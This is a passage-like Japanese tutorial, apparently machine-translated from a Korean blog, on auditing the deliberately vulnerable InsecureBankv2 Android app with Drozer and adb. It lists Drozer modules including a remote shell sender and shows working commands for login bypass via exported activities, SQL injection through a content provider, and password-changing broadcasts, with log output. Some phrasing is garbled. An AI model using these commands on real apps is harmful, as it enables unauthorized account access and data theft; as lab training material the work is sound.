Drozer脆弱性分析
ドラッグ&ドロップフレームの既定のコマンドを決定するには
list
Drozerで使用可能なモジュールのリストを選択できます.
app.activity.forintent Find activities that can handle the given intent
app.activity.info Gets information about exported activities.
app.activity.start Start an Activity
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
app.package.attacksurface Get attack surface of package
app.package.backup Lists packages that use the backup API (returns true on FLAG_ALLOW_BACKUP)
app.package.debuggable Find debuggable packages
app.package.info Get information about installed packages
app.package.launchintent Get launch intent of package
app.package.list List Packages
app.package.manifest Get AndroidManifest.xml of package
app.package.native Find Native libraries embedded in the application.
app.package.shareduid Look for packages with shared UIDs
app.provider.columns List columns in content provider
app.provider.delete Delete from a content provider
app.provider.download Download a file from a content provider that supports files
app.provider.finduri Find referenced content URIs in a package
app.provider.info Get information about exported content providers
app.provider.insert Insert into a Content Provider
app.provider.query Query a content provider
app.provider.read Read from a content provider that supports files
app.provider.update Update a record in a content provider
app.service.info Get information about exported services
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
auxiliary.webcontentresolver Start a web service interface to content providers.
exploit.jdwp.check Open @jdwp-control and see which apps connect
exploit.pilfer.general.apnprovider Reads APN content provider
exploit.pilfer.general.settingsprovider Reads Settings content provider
information.datetime Print Date/Time
information.deviceinfo Get verbose device information
information.permissions Get a list of all permissions used by packages on the device
scanner.activity.browsable Get all BROWSABLE activities that can be invoked from the web browser
scanner.misc.native Find native components included in packages
scanner.misc.readablefiles Find world-readable files in the given folder
scanner.misc.secretcodes Search for secret codes that can be used from the dialer
scanner.misc.sflagbinaries Find suid/sgid binaries in the given folder (default is /system).
scanner.misc.writablefiles Find world-writable files in the given folder
scanner.provider.finduris Search for content providers that can be queried from our context.
scanner.provider.injection Test content providers for SQL injection vulnerabilities.
scanner.provider.sqltables Find tables accessible through SQL injection vulnerabilities.
scanner.provider.traversal Test content providers for basic directory traversal vulnerabilities.
shell.exec Execute a single Linux command.
shell.send Send an ASH shell to a remote listener.
shell.start Enter into an interactive Linux shell.
tools.file.download Download a File
tools.file.md5sum Get md5 Checksum of file
tools.file.size Get size of file
tools.file.upload Upload a File
tools.setup.busybox Install Busybox.
tools.setup.minimalsu Prepare 'minimal-su' binary installation on the device.
list.package
→パッケージに関する情報を見つけることができます.dz> list.package
app.package.attacksurface Get attack surface of package
app.package.backup Lists packages that use the backup API (returns true on FLAG_ALLOW_BACKUP)
app.package.debuggable Find debuggable packages
app.package.info Get information about installed packages
app.package.launchintent Get launch intent of package
app.package.list List Packages
app.package.manifest Get AndroidManifest.xml of package
app.package.native Find Native libraries embedded in the application.
app.package.shareduid Look for packages with shared UIDs
list.activity
→活動関連情報dz> list activity
app.activity.forintent Find activities that can handle the given intent
app.activity.info Gets information about exported activities.
app.activity.start Start an Activity
scanner.activity.browsable Get all BROWSABLE activities that can be invoked from the web browser
run
→実行コマンドrun app package.list
→インストールされているパッケージのリストを表示run app.package.list -f [찾는대상]
→特定の単語でインストールされているパッケージをチェックrun app.package.list -f insecure
→ com.android.insecurebankv2(InsecureBankv2)run [app.package.info](http://app.package.info) -a <package-name>
→出力パケットの情報run app.package.attacksurface com.android.insecurebankv2
≪エクスポート|Export|emdw≫:本物の攻撃ポイントを見つけます.
認証メカニズムの弱い一環の活動暴露の弱い一環の分析
脆弱な認証メカニズム
通常の認証プロセスを迂回して不正な方法で認証権限を取得
OWASP Mobile Top 10 2014—m5.
不適切なappperタスクが設定されているかどうか
サービス権限の上昇動作の制御
機能制限または迂回禁止
不要または使用しないアクティブデバイスの削除
コンテンツ使用の信頼性
プライマリ・キー・ホール対応性
run app.activity.info
→すべてのアプリケーションのアクティビティ情報を出力します.run [app.activity.info](http://app.activity.info) --info [관련이름]
→関連名に関連付けられたアクティブなリストを出力します.ログインせずに認証をバイパス
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin
ログインしていない状態で、上にコマンドを入力するとそのままログイン状態に入ります.
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword
PostLogin画面からChange Password Activityに移動できます.
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword --extra string uname jack
idセクションにjackを入力できます.以下に示します.
パスワード1 Q 2 w 3 e 4 r!@に設定し、「Change Password」ボタンをクリックします.
パスワードが変更され、logcatはレコードを表示できます.
その後変更したパスワードは再度ログインできます.
adb
→
am
コマンドでdrozerと同じ機能を使用できます.am start com.android.insecurebankv2/com.android.insecurebankv2.PostLogin
パラメータの伝達は少し難しいです対応策
重要な部分ではandroid:exported=「false」
弱いコンテンツプロバイダの分析
コンテンツジェネレータの確認
content://authority/path
と同じです.<provider
android:name=".TrackUserContentProvider"
android:authorities="com.android.insecurebankv2.TrackUserContentProvider"
android:exported="true" >
</provider>
Android:exported=「true」→それを知る脆弱性を確認する
content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
DB pullが情報を表示できるように.
Drozerを利用
run [app.provider.info](http://app.provider.info) -a com.android.insecurebankv2
provider情報は、次のように取得できます.
run scanner.provider.finduris -a com.android.insecurebankv2
アクセス可能なcontent uriを取得できます.
run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
SQLIの例
dz> run app.provider.query [uri] --projection [columns [...]]
ex ) dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "'"
エラーベースSQLIの検証
"* from SQLITE_MASTER where type=’table’;--"
構文チェックシートの追加run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* from SQLITE_MASTER where type='table';--"
" * from names;--"
構文出力namesテーブルを追加run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* from names;--"
対応策
脆弱なブロードキャストトランシーバ
ブロードキャストトランシーバ検査
<receiver android:name="com.android.insecurebankv2.MyBroadCastReceiver"
android:exported="true">
<intent-filter>
<action android:name="theBroadcast"/>
</receiver>
ブロードキャストの作成
am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver -e phonenumber 5555 -e newpass test
01-14 15:00:24.128 4434 4434 I System.out: For the changepassword - phonenumber: 5555 password is: Updated Password from: 1Q2w3e4r!@ to: test
01-14 15:00:24.134 4519 4519 D AndroidRuntime: Shutting down VM
パスワード情報の露出:
ブロードキャストの作成
run [app.broadcast.info](http://app.broadcast.info/) -a com.android.insecurebankv2
run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 12345 --extra string newpass test
同様に、logcatはパスワード情報を暴露します.
Reference
この問題について(Drozer脆弱性分析), 我々は、より多くの情報をここで見つけました https://velog.io/@makebread/Drozer-활용한-취약점-분석テキストは自由に共有またはコピーできます。ただし、このドキュメントのURLは参考URLとして残しておいてください。
Collection and Share based on the CC Protocol